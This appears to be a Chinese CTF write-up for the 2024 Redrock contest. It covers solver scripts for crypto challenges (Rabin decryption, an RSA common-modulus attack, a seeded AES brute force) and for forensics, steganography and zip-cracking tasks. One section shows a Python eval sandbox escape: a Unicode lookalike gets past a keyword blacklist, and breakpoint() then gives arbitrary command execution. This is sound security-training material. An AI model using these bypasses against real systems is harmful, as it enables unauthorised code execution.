gift1 = 70612587795954392344132094730351403649829676891412980698720685677055233282945575188159753021039985877805925869036057939045603303707270735727465451481971229728857153219079805448545657237685935186892394077541589344177111006154640246714109802383872633756501917196067963687580349800926510289567359034040522209674
gift2 = 38463381889242878775851103219249929683898590502230614245284391193150679494898377733308518328326511354270705104866890313641160185926106305648319145903270699447472461263879678137700679430923772268112218545961984599486945138619458459998972955898816150905926656597823930838334680086640877216128845700128691465588
n = 93566489118308776213548693331730790051986994076752268755785265897482150175977191873408574414830058267133131613604483143078795628416063654383346104078580911952745697991375522526922908516196249414857302497260198309866671553599009574215710156854318056264828988885111028008676481908027550985766902115890583474937
c = 75747531080369602384428056951120987878900186477845434909504204471844047514139676853422617338712469202949435192552055475351523114283415371682553171988771857834140270923322175073118710434744943142539112104330240766284072851443916329309536962182662035765061720542151824288467075008996934135910736793674898991433
e = 65536

p = gcd((gift1 + gift2) * invert(2, n) % n, n)
q = n // p
1
2
p = 10081932238315687385012770550954823451545276153393768112021419941754686286903347341478095241885982205637699145202277483655169520745793948809883772697874271
q = 9280610790332015367967947019388344032975159169222776482071968113988805081077001455196347969558947825585792338745716738744981938064809025468640079632430247
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from Crypto.Util.number import long_to_bytes
from sympy import invert

p = 10081932238315687385012770550954823451545276153393768112021419941754686286903347341478095241885982205637699145202277483655169520745793948809883772697874271
q = 9280610790332015367967947019388344032975159169222776482071968113988805081077001455196347969558947825585792338745716738744981938064809025468640079632430247
n = 93566489118308776213548693331730790051986994076752268755785265897482150175977191873408574414830058267133131613604483143078795628416063654383346104078580911952745697991375522526922908516196249414857302497260198309866671553599009574215710156854318056264828988885111028008676481908027550985766902115890583474937
c = 75747531080369602384428056951120987878900186477845434909504204471844047514139676853422617338712469202949435192552055475351523114283415371682553171988771857834140270923322175073118710434744943142539112104330240766284072851443916329309536962182662035765061720542151824288467075008996934135910736793674898991433
e = 65536

phi = (p-1)*(q-1)

#e = 0x1000 rabin
x0=invert(p,q)
x1=invert(q,p)
cs = [c]
for i in range(16):
ms = []
for c2 in cs:
r = pow(c2, (p + 1) // 4, p)
s = pow(c2, (q + 1) // 4, q)
x = (r * x1 * q + s * x0 * p) % n
y = (r * x1 * q - s * x0 * p) % n
if x not in ms:
ms.append(x)
if n - x not in ms:
ms.append(n - x)
if y not in ms:
ms.append(y)
if n - y not in ms:
ms.append(n - y)
cs = ms

for m in ms:
flag = long_to_bytes(m)
if b'Red' in flag:
print(flag)

Classic_AES

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import random
from Crypto.Cipher import AES
import base64
import os

def generate_key(seed):
random.seed(seed)
key = bytes([random.randint(0, 255) for _ in range(16)])
return key

def encrypt(plaintext, key):
cipher = AES.new(key, AES.MODE_ECB)
padded_plaintext = plaintext + (16 - len(plaintext) % 16) * chr(16 - len(plaintext) % 16)
ciphertext = cipher.encrypt(padded_plaintext.encode())
return base64.b64encode(ciphertext).decode()

if __name__ == "__main__":
flag = "Redrock{fake_flag}"
seed = a small Integer
key = generate_key(seed)
encrypted_flag = encrypt(flag, key)

print ( encrypted_flag )
#YGOe0JI/BJeUq8dCzqYKbXcXyqNr5gJE0pFko9PzgzOzsf+orKvRKxrvr2RV7KpK

ECB模式单一的Key,解密特点一对一,块独立

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import random
from Crypto.Cipher import AES
import base64

def generate_key(seed):
random.seed(seed)
key = bytes([random.randint(0, 255) for _ in range(16)])
return key

def decrypt(ciphertext, key):
cipher = AES.new(key, AES.MODE_ECB)
decoded_ciphertext = base64.b64decode(ciphertext)
decrypted_data = cipher.decrypt(decoded_ciphertext)
padding_length = decrypted_data[-1]
return decrypted_data[:-padding_length].decode()

if __name__ == "__main__":
encrypted_flag = "YGOe0JI/BJeUq8dCzqYKbXcXyqNr5gJE0pFko9PzgzOzsf+orKvRKxrvr2RV7KpK"

for seed in range(1, 10001):
key = generate_key(seed)
try:
decrypted_flag = decrypt(encrypted_flag, key)
if "Redrock" in decrypted_flag:
print(f"Seed: {seed}, Decrypted: {decrypted_flag}")
break
except Exception as e:
continue

real1ty的大秘密

解压出来一看800多MB,这完全打不开,但winhex能打开,发现很长的Base编码,这里直接脚本跑循环base编码,解到32次的时候解不出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import re, base64
s = open('C:\\Users\\23800\\Desktop\\2024红岩杯\\Misc\\real1ty的大秘密\\encrypted_flag.txt', 'rb').read()
base16_dic = r'^[A-F0-9=]*$'
base32_dic = r'^[A-Z2-7=]*$'
base64_dic = r'^[A-Za-z0-9/+=]*$'
n = 0
while True:
n += 1
t = s.decode()
if '{' in t:
print(t)
break
elif re.match(base16_dic, t):
s = base64.b16decode(s)
if n == 31:
print(f"After {n} base16 decodes: {t}")
print(str(n) + ' base16')
elif re.match(base32_dic, t):
s = base64.b32decode(s)
if n == 31:
print(f"After {n} base32 decodes: {t}")
print(str(n) + ' base32')
elif re.match(base64_dic, t):
s = base64.b64decode(s)
if n == 31:
print(f"After {n} base64 decodes: {t}")
print(str(n) + ' base64')
1
UmVkcm95a3tyZWFsMXRHX3IzbDFlc19Pbl95cnlQdG9fYUBkX3kwdV9rTm93X2I0c2VfaTVfTm90X3NlY3VyM19yMWdodD9GYnoyV5EyZndSfQ==

是的,如题,这里是变异base64,故名思义就是把标准的base64密码表中的字符交换了,题目说交换了三个,咱直接脚本爆破出来就好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import base64
import itertools

base64_chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
encoded_str = "UmVkcm95a3tyZWFsMXRHX3IzbDFlc19Pbl95cnlQdG9fYUBkX3kwdV9rTm93X2I0c2VfaTVfTm90X3NlY3VyM19yMWdodD9GYnoyV5EyZndSfQ=="

def swap_and_decode(encoded_str, swap_combination):
swap1, swap2, swap3 = swap_combination

swapped_chars = list(base64_chars)

for i in range(len(swapped_chars)):
if swapped_chars[i] == swap1:
swapped_chars[i] = swap2
elif swapped_chars[i] == swap2:
swapped_chars[i] = swap1
elif swapped_chars[i] == swap3:
swapped_chars[i] = swap3

new_base64_chars = ''.join(swapped_chars)

try:
translation_table = str.maketrans(base64_chars, new_base64_chars)
mutated_str = encoded_str.translate(translation_table)

decoded = base64.b64decode(mutated_str).decode('utf-8', 'ignore')
if 'Redrock{real1t' in decoded:
return decoded
except Exception as e:
pass

return None

def find_all_decodings(encoded_str):
results = []
for swap_combination in itertools.permutations(base64_chars, 3):
result = swap_and_decode(encoded_str, swap_combination)
if result:
results.append((result, swap_combination))
return results


decoded_flags = find_all_decodings(encoded_str)

if decoded_flags:
for decoded_flag, swap_combination in decoded_flags:
print(swap_combination)
print(decoded_flag)

easy_crypto

part1.txt

1
2
3
4
5
{179769313486231590772930519078902473361797697894230657273430081157732675805500963132708477322407536021120113879871393357658789768814416622492847430639476135548957384814430421380051950478165216024326171811091664303054708946946973913520433391685552272677504015463314271147575309020901508290327321376975136757241,1029}
{179769313486231590772930519078902473361797697894230657273430081157732675805500963132708477322407536021120113879871393357658789768814416622492847430639476135548957384814430421380051950478165216024326171811091664303054708946946973913520433391685552272677504015463314271147575309020901508290327321376975136757241,827}

message1 = 56545020805136418293440919930294895684949798741451490408570595412037724082309023842114075953893445556071632746051594135629626714258557177367434847674164943078594515152776556013148685904959148059648224378023132423155966444483361043867306203923409877858486344542977617022142116932973956814881845183864393123403
message2 = 127604537050053899598259650213960579430244257592544686684452027214314261904446265636510087811421840405928995444094382461621710147230572487111756388125153893798272225912775053505528947449567621431171392368455109845661012577915003571467217562674667366180475429671314224814810852431552635506388311909734110324047

part2.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def affine_encrypt(plaintext, a, b):
m = 26 # 字母表的长度
ciphertext = ""

for char in plaintext:
if char.isalpha():
is_upper = char.isupper()
char = char.lower()
x = ord(char) - ord('a')
y = (a * x + b) % m
encrypted_char = chr(y + ord('a'))
if is_upper:
encrypted_char = encrypted_char.upper()
ciphertext += encrypted_char
else:
ciphertext += char
return ciphertext

if __name__ == "__main__":
a =
b =
plaintext = "" # 输入的明文
encrypted_text = affine_encrypt(plaintext, a, b)
print("加密结果:", encrypted_text)
#iL3Z7-Eb9F-2Wrc8

脑子痒痒的,有点事后诸葛亮的意思,当时给了part1一直不知道啥意思,但是模数N相同应该想到共模攻击的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#coding:utf-8
import gmpy2
import libnum
from Crypto.Util.number import long_to_bytes, bytes_to_long

n=179769313486231590772930519078902473361797697894230657273430081157732675805500963132708477322407536021120113879871393357658789768814416622492847430639476135548957384814430421380051950478165216024326171811091664303054708946946973913520433391685552272677504015463314271147575309020901508290327321376975136757241
e1=1029
c1=56545020805136418293440919930294895684949798741451490408570595412037724082309023842114075953893445556071632746051594135629626714258557177367434847674164943078594515152776556013148685904959148059648224378023132423155966444483361043867306203923409877858486344542977617022142116932973956814881845183864393123403
e2=827
c2=127604537050053899598259650213960579430244257592544686684452027214314261904446265636510087811421840405928995444094382461621710147230572487111756388125153893798272225912775053505528947449567621431171392368455109845661012577915003571467217562674667366180475429671314224814810852431552635506388311909734110324047


#共模攻击
#共模攻击函数
def rsa_gong_N_def(e1,e2,c1,c2,n):
e1, e2, c1, c2, n=int(e1),int(e2),int(c1),int(c2),int(n)
print("e1,e2:",e1,e2)
print(gmpy2.gcd(e1,e2))
s = gmpy2.gcdext(e1, e2)
print(s)
s1 = s[1]
s2 = s[2]
if s1 < 0:
s1 = - s1
c1 = gmpy2.invert(c1, n)
elif s2 < 0:
s2 = - s2
c2 = gmpy2.invert(c2, n)
m = (pow(c1,s1,n) * pow(c2 ,s2 ,n)) % n
return int(m)

m = rsa_gong_N_def(e1,e2,c1,c2,n)
print(m)
print(long_to_bytes(m))
#print(libnum.n2s(int(m)).decode())
1
2
3
4
5
e1,e2: 1029 827
1
(mpz(1), mpz(348), mpz(-433))
666871727374757677788081868788904576826568717477808386666984879070
b'\x06U\x13Kv\xe0\xa3\xef\x90\x0b\x9b\xc3\x1c\x9dIQ\x9e\xb1r>\xdc\x8e\xe0\xb52?\xb3\xde'

这里最终只能正常得到一串数字

part2的话是一个仿射密码,不过缺少a和b。接下来实在不知道这串数字怎么用,wp给的是ASCII解密

1
2
3
4
numbers = "666871727374757677788081868788904576826568717477808386666984879070"
pairs = [numbers[i:i+2] for i in range(0, len(numbers), 2)]
result = ''.join([chr(int(pair)) for pair in pairs])
print(result)
1
BDGHIJKLMNPQVWXZ-LRADGJMPSVBETWZF

此时可以猜测BDGHIJKLMNPQVWXZ经过仿射加密得到LRADGJMPSVBETWZF,我们可以反求a和b

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def find_affine_parameters(plaintext, ciphertext):
# 将字符串转换为数字序列
plain_nums = [ord(c) - ord('A') for c in plaintext]
cipher_nums = [ord(c) - ord('A') for c in ciphertext]

# 尝试所有可能的a和b
for a in range(1, 26):
# a必须与26互质
if gcd(a, 26) != 1:
continue

for b in range(26):
valid = True
# 验证每一对明文密文是否满足关系
for p, c in zip(plain_nums, cipher_nums):
if (a * p + b) % 26 != c:
valid = False
break
if valid:
return a, b
return None

def gcd(a, b):
while b:
a, b = b, a % b
return a

plaintext = "BDGHIJKLMNPQVWXZ"
ciphertext = "LRADGJMPSVBETWZF"
result = find_affine_parameters(plaintext, ciphertext)
print(f"a = {result[0]}, b = {result[1]}")
1
a = 3, b = 8

最后求出flag即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
def mod_inverse(a, m):
"""求a在模m下的乘法逆元"""
def extended_gcd(a, b):
if a == 0:
return b, 0, 1
gcd, x1, y1 = extended_gcd(b % a, a)
x = y1 - (b // a) * x1
y = x1
return gcd, x, y

gcd, x, y = extended_gcd(a, m)
if gcd != 1:
raise Exception("模逆不存在")
return (x % m + m) % m

def affine_decrypt(ciphertext, a, b):
"""仿射解密函数"""
# 计算a的乘法逆元
a_inv = mod_inverse(a, 26)
plaintext = ""

for char in ciphertext:
if char.isalpha():
# 处理字母
is_upper = char.isupper()
char = char.lower()
y = ord(char) - ord('a')
# 解密公式:x ≡ a^(-1)(y - b) mod 26
x = (a_inv * (y - b)) % 26
decrypted_char = chr(x + ord('a'))
if is_upper:
decrypted_char = decrypted_char.upper()
plaintext += decrypted_char
elif char.isdigit():
# 保持数字不变
plaintext += char
else:
# 保持特殊字符不变
plaintext += char

return plaintext

if __name__ == "__main__":
a = 3
b = 8
ciphertext = "iL3Z7-Eb9F-2Wrc8"

decrypted_text = affine_decrypt(ciphertext, a, b)
print("密文:", ciphertext)
print("解密结果:", decrypted_text)
1
redrock{aB3X7-Qp9Z-2Wdy8}

怎么说呢,难肯定不难,但就是有点无厘头的感觉,斯

Misc

290的小秘密

考察知识点:LSB隐写

290

stegsolve发现red,green,blue最低位图片底部有点不同,LSB最低有效位隐写

image-20241209003649523

这还得熬多久

考察知识点:Python沙箱逃逸

进入后输入太长了不行,最多9个字符,输入得是表达式,否则返回

1
2
3
4
5
6
Traceback (most recent call last):
File "/home/ctf/server.py", line 39, in <module>
print('我的回答是:{}'.format(eval(input_data)))
^^^^^^^^^^^^^^^^
File "<string>", line 1, in <module>
NameError: name 'q' is not defined

这里可以看到是eval执行

本来想用input()去绕过长度限制,但是发现被ban了

但其实要输入eval(input())才会有用,所以搜索后发现可以用Unicode字符绕过

h𝓮lp()

现在sys模块下,发现了路径,在里面发现了如下内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
help> server
Help on module server:

NAME
server

FUNCTIONS
filter_input(input_data) -> bool

filter_input1(input_data) -> bool

DATA
WELCOME = '\n ____ __ __ \n / .../__/ ,...
blacklist = ['exec', 'input', 'eval', 'help', 'os', 'import', '.', "'"...
input_data = 'h𝓮lp()'
secret_key = 'UBE1m9b0Yh2j'

FILE
/home/ctf/server.py

看起来是这个题目模块的一些信息,源码得知第二次输入要输入key

在第三次后输入breakpoint()调试函数,可以执行任意命令

image-20241118221313064

HardZip

考察知识点:明文攻击

第一关

给定的字典中去爆

image-20241117232921966

第二关

1
SRE????yyds

用python脚本生成字典

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import itertools
import string

prefix = "SRE"
suffix = "yyds"

charset = string.ascii_letters + string.digits

combinations = itertools.product(charset, repeat=4)

with open('dictionary.txt', 'w') as file:
for combination in combinations:
# 将组合拼接成密码
password = prefix + ''.join(combination) + suffix
file.write(password + '\n')

print("字典文件已生成:dictionary.txt")

image-20241117234442365

最后一关

image-20241209004625342

是真加密,一开始想的是明文攻击,通过flag格式Redrock去爆破,但是至少得12个字节,而png照片中的前12位是固定的文件头,将其写进文件中,用bkcrack爆破

1
89 50 4E 47 0D 0A 1A 0A 00 00 00 0D

image-20241118020836762

Are you a JPG master?

考察知识点:Java盲水印

level1

image-20241120155418856

得到密码

1
@t$#fcm9y

解出level2压缩包文件,里面有个字典和一张图片

stegseek解出

1
stegseek level2.jpg dic.txt

image-20241120161348853

memory

内存取证,查看操作系统类型

image-20241120163247177

image-20241120165248263

发现有个secret.png

1
0x0000000015cf1ea0

image-20241120165537766

查看浏览器记录(这个要volatility2才行)

1
vol.py -f ../memory.vmem --profile Win7SP1x64 iehistory

但我两者都试了都未发现

查看剪切板

1
vol.py -f ../memory.vmem --profile Win7SP1x64 clipboard

image-20241209011440943

part3也可以

1
strings ../memory.vmem | grep "part3"

image-20241209011845486

1
Redrock{Memo3y_15_verY_111terest1ng}

我图图呢

图片无法打开一开始,用winhex查看

有IHDR和IDAT字样为png格式图片

image-20241209014504928

将文件头改一下,并在末尾找到半个flag

image-20241209014707744

image-20241209014822194

CRC矫正宽高看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import zlib
import struct


with open(r'C:\\Users\\23800\\Desktop\\2024红岩杯\\Misc\\我图图呢.png', 'rb') as image_data:
bin_data = image_data.read()

data = bytearray(bin_data[12:29])

crc32_bytes = bin_data[29:33]

crc32key = int.from_bytes(crc32_bytes, byteorder='big')

n = 4096

for w in range(n):
width = bytearray(struct.pack('>i', w))
for h in range(n):
height = bytearray(struct.pack('>i', h))
for x in range(4):
data[x + 4] = width[x]
data[x + 8] = height[x]
crc32result = zlib.crc32(data)
if crc32result == crc32key:
print("width:%s height:%s" % (bytearray(width).hex(),
bytearray(height).hex()))
exit()
1
width:00000166  height:000000ea

image-20241209015650597

重生之我有Dengeki Novel Prize大奖

image-20241209173103187

搜到这是一篇轻小说,应该是要输入正确的对话,小说名《败犬女主太多了!》(不愧是二次元😆)

下载下来将EPUB格式转成TXT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import re
from ebooklib import epub
from bs4 import BeautifulSoup
import warnings

def clean_text(text):
text = re.sub(r'[^\S\r\n]+', ' ', text)
text = re.sub(r'\n{2,}', '\n', text)
lines = [line.strip() for line in text.splitlines()]
return "\n".join(lines).strip()

def epub_to_txt(epub_path, txt_path):
book = epub.read_epub(epub_path, options={'ignore_ncx': True})
all_text = []

for item in book.get_items():
if item.media_type == 'application/xhtml+xml':
soup = BeautifulSoup(item.get_body_content(), 'html.parser')
text = soup.get_text()
cleaned_text = clean_text(text)
all_text.append(cleaned_text)

with open(txt_path, 'w', encoding='utf-8') as f:
f.write('\n\n'.join(all_text))

epub_to_txt('.\\败犬女主太多了\\7.epub', '.\\7.txt')

我们去output.txt查找问题,答案为下一行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
import time

with open("output.txt", "r", encoding="utf8") as f:
all_list = [line.strip() for line in f.readlines()]
all_dict = {}
for i in range(len(all_list) - 1):
all_dict[all_list[i].replace("\n", "")] = all_list[i + 1].replace("\n", "")

try:
p = remote('127.0.0.1', 37573)
correct_count = 0

for _ in range(50):
try:
response = p.recvline()
question = response.decode().split("提问: ")[-1].strip()
print(f"\n第 {correct_count + 1} 题")
print("question:", question)

debug_data = p.recv(1024)
print("Debug data received:", debug_data.decode('utf-8', errors='ignore'))

if question in all_dict:
answer = all_dict[question]
print("answer:", answer)
p.sendline(answer.encode('utf-8'))
time.sleep(1)

feedback = p.recvline().decode('utf-8', errors='ignore')
print("服务器反馈:", feedback)

correct_count += 1
else:
print("No answer found for the question.")
break

except EOFError:
print(f"\n连接在第 {correct_count + 1} 题时断开")
print("最后成功回答的题数:", correct_count)
break
except Exception as e:
print(f"\n发生其他错误: {str(e)}")
break

except Exception as e:
print(f"连接出错: {str(e)}")
finally:
print(f"\n总共成功回答了 {correct_count} 题")
p.close()

这道题有点靠运气,有时候会答案是对的但因为超时

Re

星のflag: 瓦豆鲁德篇

本身并不是RE手,但是这道题和Web那道一样的都要解包小程序,就顺手做了

这是本身源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
var _cryptoJs = _interopRequireDefault(require("crypto-js"));
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
var arr = [[77.4545067721, 166.6297572211], [704.8827384321, 716.8839856722], [526.2712072012, 797.5254055312], [3070.2807034611, 3854.4357435722], [490.3246274911, 36224.8858838722], [41404.3166443722, 41673.1503183722], [6787.6554038721, 46854.1678526621], [69504.4221148712, 418677.4399131722], [587395.8927547721, 646218.371960242], [23378.1410475611, 862165.0667217221], [3425775.220405308, 3679455.7534740176], [21376195.152235862, 57806775.24392879], [136548100.36301744, 2126740322.7827096], [3025384212.2862115, 42887118354.86438], [2749728.820111889, 20752727.611226656], [38414630.64337055, 313629634.4837362], [33882710.842073366, 345902224.4626296], [63832518.65776362, 224151175.8626729], [713381630.9568518, 2361680166.434476], [943572305.6985991, 3249761735.8722763], [2182238279.357637, 4762311856.787363], [2449920231.2722983, 6453724258.242947], [5251427633.228511, 42202975021.22658], [3586474625.7261167, 36828433774.11296], [2438575572.788131, 36686266931.434525], [87043816613.20274, 297732697735.6053], [472044465269.30133, 528171386733.36865], [312425872025.35376, 807318802980.8772], [353533120613.98065, 825428116861.4183], [504334778467.7691, 1610323225786.69955], [573352925673.3484, 8466494214312.498], [6291764415342.347, 10584266511691.768], [38252576539970.57, 56553309176751.18], [36782537271527.62, 57371110527665.5]];
function d(a, b, context) {
var s = 0.0001;
var c = 0;
for (var i = a; i < b; i += s) {
if (!context.data.isContinue) {
return "";
}
c += (i + Math.sin(i)) * s;
}
var n = Math.floor(c).toString();
var r = n.slice(0, Math.max(3, Math.floor(n.length / 3)));
var m = _cryptoJs.default.MD5(r).toString();
return m[0];
}
Page({
data: {
waddleDeesFlag: '',
isContinue: false
},
onLoad: function onLoad() {},
onGenerateFlag: function onGenerateFlag() {
this.setData({
waddleDeesFlag: 'redrock{',
isContinue: true
});
flagGenerator.call(this, 0);
},
onStopGenerateFlag: function onStopGenerateFlag() {
this.setData({
isContinue: false
});
}
});
function flagGenerator(index) {
var _this = this;
if (!this.data.isContinue || index >= arr.length) {
this.setData({
waddleDeesFlag: "".concat(this.data.waddleDeesFlag, "}")
});
return;
}
var a = arr[index][0];
var b = arr[index][1];
var nextChar = d(a, b, this);
if (nextChar) {
this.setData({
waddleDeesFlag: this.data.waddleDeesFlag + nextChar
});
}
setTimeout(function () {
flagGenerator.call(_this, index + 1);
}, 100);
}
},{isPage:true,isComponent:true,currentFile:'pages/flag/flag.js'});require("pages/flag/flag.js");

函数d的逻辑是对f(x)=x+sinx积分,采用的是无限切割的方法,切割的细粒度是0.0001,上下限为 [a,b],但我自己弄出来的脚本总是最后几位flag不对,很可惜

正确脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import hashlib
import math
import random
import numpy as np
from scipy.integrate import quad

def integrate_x_plus_sin(lower, upper):
def integrand(x):
return x + np.sin(x)
result, _ = quad(integrand, lower, upper, limit=10000)
return result

def f_conv_md5_first_letter(float_number):
result = int(float_number)
str_number = str(result)
length = len(str_number)
third_length = max(3, length // 3)
result = int(str_number[:third_length])
# md5加密结果
md5_result = hashlib.md5(str(result).encode()).hexdigest()
return md5_result[0]

arr = [
[77.4545067721, 166.6297572211],
[704.8827384321, 716.8839856722],
[526.2712072012, 797.5254055312],
[3070.2807034611, 3854.4357435722],
[490.3246274911, 36224.8858838722],
[41404.3166443722, 41673.1503183722],
[6787.6554038721, 46854.1678526621],
[69504.4221148712, 418677.4399131722],
[587395.8927547721, 646218.371960242],
[23378.1410475611, 862165.0667217221],
[3425775.220405308, 3679455.7534740176],
[21376195.152235862, 57806775.24392879],
[136548100.36301744, 2126740322.7827096],
[3025384212.2862115, 42887118354.86438],
[2749728.820111889, 20752727.611226656],
[38414630.64337055, 313629634.4837362],
[33882710.842073366, 345902224.4626296],
[63832518.65776362, 224151175.8626729],
[713381630.9568518, 2361680166.434476],
[943572305.6985991, 3249761735.8722763],
[2182238279.357637, 4762311856.787363],
[2449920231.2722983, 6453724258.242947],
[5251427633.228511, 42202975021.22658],
[3586474625.7261167, 36828433774.11296],
[2438575572.788131, 36686266931.434525],
[87043816613.20274, 297732697735.6053],
[472044465269.30133, 528171386733.36865],
[312425872025.35376, 807318802980.8772],
[353533120613.98065, 825428116861.4183],
[504334778467.7691, 1610323225786.69955],
[573352925673.3484, 8466494214312.498],
[6291764415342.347, 10584266511691.768],
[38252576539970.57, 56553309176751.18],
[36782537271527.62, 57371110527665.5]
]

flag = "redrock{"

for i in range(len(arr)):
lower_limit = arr[i][0]
upper_limit = arr[i][1]
result = integrate_x_plus_sin(lower_limit, upper_limit)
flag += f_conv_md5_first_letter(result)
flag += "}"
print(flag)

我当时的flag

1
redrock{aa8726a2c7c371195027ddce011338c2e5}

正确flag

1
redrock{aa8726a2c7c371195027ddce083df71983}